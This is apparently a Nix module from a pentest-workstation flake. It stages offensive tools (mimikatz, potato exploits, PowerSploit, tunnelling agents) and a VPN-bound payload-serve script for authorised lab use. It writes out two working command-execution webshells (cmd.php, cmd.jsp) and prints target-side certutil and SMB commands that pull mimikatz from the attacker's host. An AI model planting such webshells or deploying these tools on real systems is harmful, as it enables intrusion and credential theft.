NixDaemon

NixOS pentest workstation as one flake — IceBreaker's successor
git clone https://git.daemon-sec.xyz/NixDaemon.git
Log | Files | Refs | README

payloads.nix (20989B)


      1 # modules/features/pentest/payloads.nix — the arsenal tree that ~/pentesting
      2 # points at, plus one command to serve it.
      3 #
      4 # The tree is laid out the way paths.nix names it, so $privesc, $potatoes,
      5 # $ligolo, $ad … each resolve to a real directory:
      6 #
      7 #   privesc/{windows,windows/potatoes,linux}   winPEAS, the potato family, pspy…
      8 #   creds/{,mimikatz}                           mimikatz (every build), nanodump…
      9 #   ad/{,SharpHound,KrbRelayEx,kerbrute}        SharpHound CE, Rubeus, Certipy…
     10 #   sharpcollection/                            the full SharpCollection
     11 #   pivoting/{ligolo-ng,chisel,socat}           tunnels, every OS/arch
     12 #   recon/{nmap,fscan}                          scanners to run from a foothold
     13 #   shells/ webshells/ scripts/ exploits/
     14 #
     15 #   payload-serve [port]     HTTP, bound to the VPN interface only
     16 #   payload-serve --smb      impacket smbserver, same binding
     17 #   payload-serve --list     print the tree
     18 #
     19 # Provenance: Go tools nixpkgs carries (ligolo-ng, chisel, fscan, pspy) are
     20 # cross-compiled FROM SOURCE here for every target arch via GOOS/GOARCH — better
     21 # than any download. Everything else is a release asset pinned by hash in
     22 # _pkgs/assets.nix (the big table) or _pkgs/default.nix (mimikatz, SharpCollection,
     23 # the scripts). So: Go from source, the rest pinned, nothing fetched at runtime.
     24 { lib, self, ... }:
     25 let
     26   assets = import ./_pkgs/assets.nix;
     27 
     28   mkTree =
     29     { pkgs, windowsArches }:
     30     let
     31       p = import ./_pkgs/default.nix { inherit lib pkgs; };
     32 
     33       # Go cross-compile: nixpkgs has no mingw path for these, but Go does not
     34       # need one. CGO_ENABLED=0 makes the linux builds static, so they run on a
     35       # target that does not share this machine's glibc.
     36       goCross = pkg: goos: goarch: pkg.overrideAttrs (o: {
     37         env = (o.env or { }) // { GOOS = goos; GOARCH = goarch; CGO_ENABLED = "0"; };
     38         doCheck = false;
     39         doInstallCheck = false;
     40         nativeInstallCheckInputs = [ ];
     41         postInstall = ""; # upstream rename loops assume a native flat bin/
     42       });
     43 
     44       # One place to list every Go tool and the arches it ships for, so the
     45       # install loop below is a table too. `src` is the name Go actually emits
     46       # in bin/ (lig-ng builds `agent` and `proxy`; we want the agent); `bin`
     47       # is the name it lands under here. A cross build lands in
     48       # bin/<goos>_<goarch>/, a native one in bin/ — the loop searches both.
     49       goTargets = {
     50         ligolo-ng = {
     51           src = "agent"; bin = "ligolo-agent";
     52           arches = { linux-amd64 = ["linux" "amd64"]; linux-arm64 = ["linux" "arm64"];
     53                      windows-amd64 = ["windows" "amd64"]; darwin-arm64 = ["darwin" "arm64"]; };
     54         };
     55         chisel = {
     56           src = "chisel"; bin = "chisel";
     57           arches = { linux-amd64 = ["linux" "amd64"]; linux-arm64 = ["linux" "arm64"];
     58                      windows-amd64 = ["windows" "amd64"]; darwin-arm64 = ["darwin" "arm64"]; };
     59         };
     60         fscan = {
     61           src = "fscan"; bin = "fscan";
     62           arches = { linux-amd64 = ["linux" "amd64"]; linux-arm64 = ["linux" "arm64"];
     63                      windows-amd64 = ["windows" "amd64"]; };
     64         };
     65         pspy = {
     66           src = "pspy"; bin = "pspy";
     67           arches = { linux-amd64 = ["linux" "amd64"]; linux-arm64 = ["linux" "arm64"]; };
     68         };
     69       };
     70 
     71       # dest -> which pivoting/recon/privesc dir each Go tool lands in.
     72       goDest = {
     73         ligolo-ng = "pivoting/ligolo-ng";
     74         chisel = "pivoting/chisel";
     75         fscan = "recon/fscan";
     76         pspy = "privesc/linux";
     77       };
     78 
     79       installGo = name: spec:
     80         lib.concatStrings (lib.mapAttrsToList
     81           (slot: goa:
     82             let
     83               drv = goCross pkgs.${name} (builtins.elemAt goa 0) (builtins.elemAt goa 1);
     84               win = builtins.elemAt goa 0 == "windows";
     85               out = "$out/${goDest.${name}}/${slot}/${spec.bin}${lib.optionalString win ".exe"}";
     86             in ''
     87               mkdir -p "$(dirname ${out})"
     88               # Cross -> bin/<goos>_<goarch>/<src>, native -> bin/<src>; and the
     89               # windows build adds .exe. Match the EXACT source name so lig-ng's
     90               # `proxy` is never grabbed instead of `agent`, and FAIL loudly if
     91               # an upstream rename leaves nothing — a missing agent is a 2am find.
     92               f=$(find -L ${drv}/bin -type f \( -name ${spec.src} -o -name ${spec.src}.exe \) | head -1)
     93               [ -n "$f" ] || { echo "payloads: ${name} ${slot} produced no ${spec.src} binary" >&2; exit 1; }
     94               install -m0755 "$f" ${out}
     95             '')
     96           spec.arches);
     97 
     98       # One asset -> the shell that stages it at its dest.
     99       exeLike = d: lib.any (s: lib.hasSuffix s d) [ ".exe" ".ps1" ".dll" ".json" ".config" ".txt" ];
    100       installAsset = a:
    101         let
    102           src = pkgs.fetchurl { inherit (a) url hash; };
    103           dst = "$out/${a.dest}";
    104           kind = a.unpack or "file";
    105         in
    106         if kind == "file" then ''
    107           install -D -m${if exeLike a.dest then "0644" else "0755"} ${src} ${dst}
    108         ''
    109         else if kind == "zip" then ''
    110           mkdir -p ${dst}
    111           ${if a ? only
    112             # -j flattens the named members into dst (RunasCs.exe, a potato…).
    113             then "${pkgs.unzip}/bin/unzip -j -o ${src} ${lib.escapeShellArgs a.only} -d ${dst} >/dev/null"
    114             # No `only`: extract whole, keeping structure (SharpHound/, nmap-7.92/).
    115             else "${pkgs.unzip}/bin/unzip -o ${src} -d ${dst} >/dev/null"}
    116         ''
    117         else if kind == "tar" then ''
    118           mkdir -p ${dst}
    119           tar -xzf ${src} -C ${dst}
    120         ''
    121         else throw "payloads: unknown unpack kind '${kind}' for ${a.dest}";
    122 
    123       wantX86 = lib.elem "x86" windowsArches;
    124       mimiVer = lib.removePrefix "mimikatz-" pkgs.mimikatz.name;
    125     in
    126     pkgs.runCommand "pentest-payloads"
    127       {
    128         meta.description = "Staged offensive payloads for authorised lab use";
    129         # Everything here runs on another machine; a rewritten shebang pointing
    130         # into this machine's store would break it there.
    131         dontPatchShebangs = true;
    132       }
    133       ''
    134         set -euo pipefail
    135         mkdir -p $out
    136 
    137         ##### Release assets (the _pkgs/assets.nix table) ######################
    138         ${lib.concatMapStrings installAsset assets}
    139 
    140         ##### Go, cross-compiled from source ###################################
    141         ${lib.concatStrings (lib.mapAttrsToList installGo goTargets)}
    142         # ligolo/chisel/socat convenience: a top-level README of which slot is which.
    143         printf '%s\n' \
    144           'ligolo-ng/chisel/fscan/socat: one dir per target, named <os>-<arch>.' \
    145           'linux-amd64 is the usual HTB Linux box; windows-amd64 the usual Windows one.' \
    146           > $out/pivoting/README.txt
    147 
    148         ##### Credentials #####################################################
    149         # mimikatz, every build and arch, as distinct FILES (two versions
    150         # cannot both be mimikatz.exe — which is why payloads are files).
    151         mkdir -p $out/creds/mimikatz/x64 $out/creds/mimikatz/Win32
    152         install -m0644 ${pkgs.mimikatz}/share/windows/mimikatz/x64/mimikatz.exe \
    153           $out/creds/mimikatz/x64/mimikatz-${mimiVer}.exe
    154         ln -s mimikatz-${mimiVer}.exe $out/creds/mimikatz/x64/mimikatz.exe
    155         install -m0644 ${p.mimikatzOld}/x64/mimikatz.exe \
    156           $out/creds/mimikatz/x64/mimikatz-2.2.0-20210810.exe
    157         install -m0644 ${pkgs.mimikatz}/share/windows/mimikatz/Win32/mimikatz.exe \
    158           $out/creds/mimikatz/Win32/mimikatz-${mimiVer}.exe
    159         ln -s mimikatz-${mimiVer}.exe $out/creds/mimikatz/Win32/mimikatz.exe
    160         install -m0644 ${p.mimikatzOld}/Win32/mimikatz.exe \
    161           $out/creds/mimikatz/Win32/mimikatz-2.2.0-20210810.exe
    162         install -m0644 ${pkgs.mimikatz}/share/windows/mimikatz/Win32/mimilove.exe \
    163           $out/creds/mimikatz/ 2>/dev/null || true
    164 
    165         ##### Windows privesc: winPEAS beside the potatoes/ from assets ########
    166         mkdir -p $out/privesc/windows
    167         install -m0644 ${p.peass}/windows/winPEASx64.exe $out/privesc/windows/
    168         install -m0644 ${p.peass}/windows/winPEASany.exe $out/privesc/windows/
    169         ${lib.optionalString wantX86
    170           "install -m0644 ${p.peass}/windows/winPEASx86.exe $out/privesc/windows/"}
    171 
    172         ##### AD: SharpCollection 4.7 x64 beside the CE tools from assets ######
    173         mkdir -p $out/ad
    174         cp -r ${p.sharpcollection}/NetFramework_4.7_x64/. $out/ad/
    175         chmod -R u+w $out/ad
    176         # SharpCollection's SharpHound is the LEGACY collector; the assets table
    177         # staged the CE one at ad/SharpHound/. Drop the legacy exe so there is
    178         # no ambiguous ad/SharpHound.exe next to the CE ad/SharpHound/ dir.
    179         rm -f $out/ad/SharpHound.exe
    180 
    181         # The whole SharpCollection, every framework, for when 4.7 x64 will not run.
    182         mkdir -p $out/sharpcollection
    183         cp -r ${p.sharpcollection}/. $out/sharpcollection/
    184         chmod -R u+w $out/sharpcollection
    185 
    186         ##### Linux privesc ####################################################
    187         mkdir -p $out/privesc/linux
    188         install -m0755 ${p.peass}/linux/linpeas.sh $out/privesc/linux/
    189         install -m0755 ${p.lse}/share/lse/lse.sh   $out/privesc/linux/
    190 
    191         ##### Scripts ##########################################################
    192         mkdir -p $out/scripts/{ad,printer,privesc}
    193         cp -r ${pkgs.powersploit}/share/windows/powersploit/. $out/scripts/ad/
    194         chmod -R u+w $out/scripts/ad
    195         # PowerView.ps1 and PowerUp.ps1 live in Recon/ and Privesc/; hoist the
    196         # two headline scripts to the top where the cheat card documents them,
    197         # and FAIL if an upstream rename moved them.
    198         for s in PowerView PowerUp; do
    199           f=$(find -L $out/scripts/ad -type f -name "$s.ps1" | head -1)
    200           [ -n "$f" ] || { echo "payloads: $s.ps1 missing from powersploit" >&2; exit 1; }
    201           cp "$f" $out/scripts/ad/"$s.ps1"
    202         done
    203         cp -r ${p.nishang}/share/nishang $out/scripts/ad/nishang
    204         chmod -R u+w $out/scripts/ad/nishang
    205         install -m0755 ${p.krbrelayx}/share/krbrelayx/printerbug.py $out/scripts/printer/
    206         install -m0644 ${p.printnightmare}/share/printnightmare/CVE-2021-1675.py $out/scripts/printer/
    207         install -m0755 ${p.peass}/linux/linpeas.sh $out/scripts/privesc/
    208         install -m0755 ${p.lse}/share/lse/lse.sh   $out/scripts/privesc/
    209         install -m0644 ${p.efspotatoSource}/EfsPotato.cs $out/scripts/privesc/
    210 
    211         ##### Webshells and an exploits landing dir ############################
    212         mkdir -p $out/webshells $out/exploits
    213         # A couple of always-useful single-file shells; drop your own in
    214         # ~/pentesting/local, which is never overwritten.
    215         cat > $out/webshells/cmd.php <<'PHP'
    216 <?php if(isset($_REQUEST['c'])){system($_REQUEST['c']." 2>&1");} ?>
    217 PHP
    218         cat > $out/webshells/cmd.jsp <<'JSP'
    219 <%@ page import="java.util.*,java.io.*"%><% if(request.getParameter("c")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("c"));BufferedReader d=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=d.readLine())!=null){out.println(l);} } %>
    220 JSP
    221         printf 'Stage public exploits here; searchsploit -m copies into the cwd.\n' > $out/exploits/README.txt
    222 
    223         # A map of the tree, so `payload-serve --list` is readable.
    224         ${pkgs.tree}/bin/tree -a --noreport $out > $out/INVENTORY.txt || true
    225       '';
    226 
    227   mkServe =
    228     { pkgs, tree }:
    229     pkgs.writeShellScriptBin "payload-serve" ''
    230         set -uo pipefail
    231         PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.iproute2 pkgs.gawk pkgs.gnugrep ]}:$PATH
    232         TREE=${tree}
    233 
    234         # Bind to the tunnel, never to everything. Serving the arsenal on a
    235         # café network because the VPN was down is a real way to hand your
    236         # toolkit to strangers, so this fails closed.
    237         tun_addr() {
    238           local i a
    239           for i in $(ip -br link show type tun 2>/dev/null | awk '{print $1}'); do
    240             a=$(ip -4 -br addr show dev "$i" 2>/dev/null | awk '{print $3}' | cut -d/ -f1)
    241             [ -n "''${a:-}" ] && { printf '%s' "$a"; return 0; }
    242           done
    243           return 1
    244         }
    245 
    246         usage() { echo "usage: payload-serve [port] | --smb | --list"; }
    247 
    248         case "''${1:-}" in
    249           --list) exec cat $TREE/INVENTORY.txt ;;
    250           -h|--help) usage; exit 0 ;;
    251         esac
    252 
    253         if ! addr=$(tun_addr); then
    254           echo "payload-serve: no VPN interface has an address — refusing to start." >&2
    255           echo "payload-serve: it would otherwise bind every interface and expose" >&2
    256           echo "               $TREE to the local network." >&2
    257           echo "payload-serve: bring the tunnel up first:  htbvpn up <profile>" >&2
    258           exit 2
    259         fi
    260 
    261         case "''${1:-}" in
    262           --smb)
    263             echo "payload-serve: SMB share 'share' on $addr ($TREE)"
    264             echo "  target: copy \\\\$addr\\share\\creds\\mimikatz\\x64\\mimikatz.exe ."
    265             exec ${pkgs.python3Packages.impacket}/bin/smbserver.py \
    266               -ip "$addr" -smb2support share "$TREE" ;;
    267           ""|[0-9]*)
    268             port="''${1:-8000}"
    269             if [ "$port" -lt 1024 ] && [ "$(id -u)" != 0 ]; then
    270               echo "payload-serve: port $port needs root (ports below 1024)." >&2
    271               echo "payload-serve: run 'sudo payload-serve $port', or use the default 8000." >&2
    272               exit 2
    273             fi
    274             echo "payload-serve: http://$addr:$port/  ($TREE)"
    275             echo "  target: certutil -urlcache -f http://$addr:$port/creds/mimikatz/x64/mimikatz.exe mimikatz.exe"
    276             exec ${pkgs.python3}/bin/python3 -m http.server "$port" --bind "$addr" --directory "$TREE" ;;
    277           *) usage >&2; exit 2 ;;
    278         esac
    279       '';
    280 in
    281 {
    282   flake.nixosModules.pentest-payloads =
    283     { config, pkgs, lib, ... }:
    284     let
    285       cfg = config.daemon.pentest;
    286       on = cfg.enable && cfg.payloads.enable;
    287       tree = mkTree { inherit pkgs; windowsArches = cfg.payloads.windowsArches; };
    288       payload-serve = mkServe { inherit pkgs tree; };
    289     in
    290     {
    291       options.daemon.pentest.payloads = {
    292         enable = lib.mkEnableOption "the staged payload tree and payload-serve" // {
    293           default = cfg.enable;
    294         };
    295         # Read by paths.nix to link the tree into ~/pentesting. Internal: it is
    296         # the derivation above, not something to set by hand.
    297         tree = lib.mkOption {
    298           type = lib.types.package;
    299           internal = true;
    300           readOnly = true;
    301           default = tree;
    302           description = "The built arsenal tree (paths.nix links it into ~/pentesting).";
    303         };
    304         wordlistsTree = lib.mkOption {
    305           type = lib.types.path;
    306           internal = true;
    307           default = "${pkgs.wordlists}/share/wordlists";
    308           description = "The wordlists tree linked at ~/pentesting/wordlists.";
    309         };
    310       };
    311 
    312       config = lib.mkIf on {
    313         environment.systemPackages = [ payload-serve ];
    314         # $PAYLOADS stays, pointing at the arsenal root under ~/pentesting
    315         # (paths.nix sets the per-category variables); keep it as the store
    316         # tree here so a shell that predates the ~/pentesting links still works.
    317         environment.sessionVariables.PAYLOADS = lib.mkForce "${tree}";
    318       };
    319     };
    320 
    321   perSystem =
    322     { pkgs, ... }:
    323     {
    324       checks.pentest-payloads =
    325         let
    326           tree = mkTree { inherit pkgs; windowsArches = [ "amd64" "x86" ]; };
    327           serve = [ (mkServe { inherit pkgs tree; }) ];
    328         in
    329         pkgs.runCommand "pentest-payloads-check"
    330           { nativeBuildInputs = [ pkgs.file ] ++ serve; }
    331           ''
    332             set -euo pipefail
    333             T=${tree}
    334 
    335             # 1. Structure: every path the cheat card and paths.nix promise.
    336             for f in \
    337               creds/mimikatz/x64/mimikatz.exe \
    338               creds/mimikatz/x64/mimikatz-2.2.0-20210810.exe \
    339               creds/mimikatz/Win32/mimikatz.exe \
    340               creds/nanodump.x64.exe \
    341               creds/PPLBlade.exe \
    342               privesc/windows/winPEASx64.exe \
    343               privesc/windows/FullPowers.exe \
    344               privesc/windows/PrivescCheck.ps1 \
    345               privesc/windows/potatoes/GodPotato-NET4.exe \
    346               privesc/windows/potatoes/SigmaPotato.exe \
    347               privesc/windows/potatoes/PrintSpoofer64.exe \
    348               privesc/windows/potatoes/JuicyPotato.exe \
    349               privesc/windows/potatoes/RoguePotato.exe \
    350               privesc/windows/potatoes/LocalPotato.exe \
    351               privesc/windows/potatoes/CoercedPotato_x64.exe \
    352               privesc/linux/linpeas.sh \
    353               privesc/linux/lse.sh \
    354               privesc/linux/linux-amd64/pspy \
    355               ad/Rubeus.exe \
    356               ad/Seatbelt.exe \
    357               ad/SharpHound/SharpHound.exe \
    358               ad/Certipy.exe \
    359               ad/bloodyAD.exe \
    360               ad/rusthound-ce.exe \
    361               ad/SharpSCCM.exe \
    362               ad/Inveigh.exe \
    363               ad/KrbRelayEx/KrbRelayEx.exe \
    364               ad/KrbRelayEx/KrbRelayEx.dll \
    365               ad/kerbrute/kerbrute-linux-amd64 \
    366               ad/kerbrute/kerbrute-windows-amd64.exe \
    367               pivoting/ligolo-ng/linux-amd64/ligolo-agent \
    368               pivoting/ligolo-ng/windows-amd64/ligolo-agent.exe \
    369               pivoting/ligolo-ng/linux-arm64/ligolo-agent \
    370               pivoting/ligolo-ng/darwin-arm64/ligolo-agent \
    371               pivoting/chisel/linux-amd64/chisel \
    372               pivoting/chisel/windows-amd64/chisel.exe \
    373               pivoting/socat/socat-linux-amd64 \
    374               pivoting/socat/socat-linux-arm64 \
    375               pivoting/plink-x64.exe \
    376               recon/fscan/linux-amd64/fscan \
    377               recon/fscan/windows-amd64/fscan.exe \
    378               recon/nmap/linux-amd64/nmap \
    379               recon/nmap/windows/nmap-7.92/nmap.exe \
    380               shells/RunasCs.exe \
    381               shells/nc64.exe \
    382               scripts/ad/PowerView.ps1 \
    383               scripts/ad/PowerUp.ps1 \
    384               scripts/ad/nishang \
    385               scripts/printer/printerbug.py \
    386               scripts/printer/CVE-2021-1675.py \
    387               scripts/privesc/EfsPotato.cs \
    388               webshells/cmd.php \
    389               INVENTORY.txt \
    390             ; do
    391               [ -e "$T/$f" ] || { echo "payloads: missing $f" >&2; exit 1; }
    392             done
    393 
    394             # The legacy SharpHound.exe must NOT sit beside the CE dir.
    395             [ ! -e "$T/ad/SharpHound.exe" ] || { echo "payloads: stale legacy ad/SharpHound.exe present" >&2; exit 1; }
    396 
    397             # 2. The binaries are really for the architecture they claim, and
    398             #    the linux ones are static (they run on someone else's box).
    399             for f in pivoting/chisel/linux-amd64/chisel \
    400                      pivoting/ligolo-ng/linux-amd64/ligolo-agent \
    401                      recon/fscan/linux-amd64/fscan \
    402                      privesc/linux/linux-amd64/pspy \
    403                      pivoting/socat/socat-linux-amd64; do
    404               got=$(file -bL "$T/$f")
    405               case "$got" in
    406                 *"statically linked"*|*"static-pie linked"*) ;;
    407                 *) echo "payloads: $f is '$got' — must be statically linked" >&2; exit 1 ;;
    408               esac
    409             done
    410             for f in privesc/linux/linpeas.sh privesc/linux/lse.sh \
    411                      scripts/printer/printerbug.py; do
    412               case "$(head -1 "$T/$f")" in
    413                 */nix/store/*) echo "payloads: $f has a store shebang" >&2; exit 1 ;;
    414               esac
    415             done
    416 
    417             expect() { local got; got=$(file -bL "$T/$1"); case "$got" in
    418               *"$2"*) ;; *) echo "payloads: $1 is '$got', expected *$2*" >&2; exit 1 ;; esac; }
    419             expect creds/mimikatz/x64/mimikatz.exe             'PE32+'
    420             expect creds/mimikatz/Win32/mimikatz.exe           'PE32 '
    421             expect pivoting/ligolo-ng/windows-amd64/ligolo-agent.exe 'PE32+'
    422             expect pivoting/ligolo-ng/linux-arm64/ligolo-agent 'ARM aarch64'
    423             expect recon/fscan/windows-amd64/fscan.exe         'PE32+'
    424             expect recon/nmap/linux-amd64/nmap                 'ELF'
    425 
    426             # 3. With no tun device (there is none in this sandbox) payload-serve
    427             #    must refuse, and say how to fix it.
    428             if serve_out=$(payload-serve 8000 2>&1); then
    429               echo "payloads: payload-serve started with no VPN up" >&2; exit 1
    430             fi
    431             printf '%s' "$serve_out" | grep -q 'refusing to start' \
    432               || { echo "payloads: refusal did not explain itself: $serve_out" >&2; exit 1; }
    433             printf '%s' "$serve_out" | grep -q 'htbvpn up' \
    434               || { echo "payloads: refusal did not name htbvpn: $serve_out" >&2; exit 1; }
    435 
    436             echo "pentest-payloads: tree, architectures and fail-closed serve all ok" > $out
    437           '';
    438     };
    439 }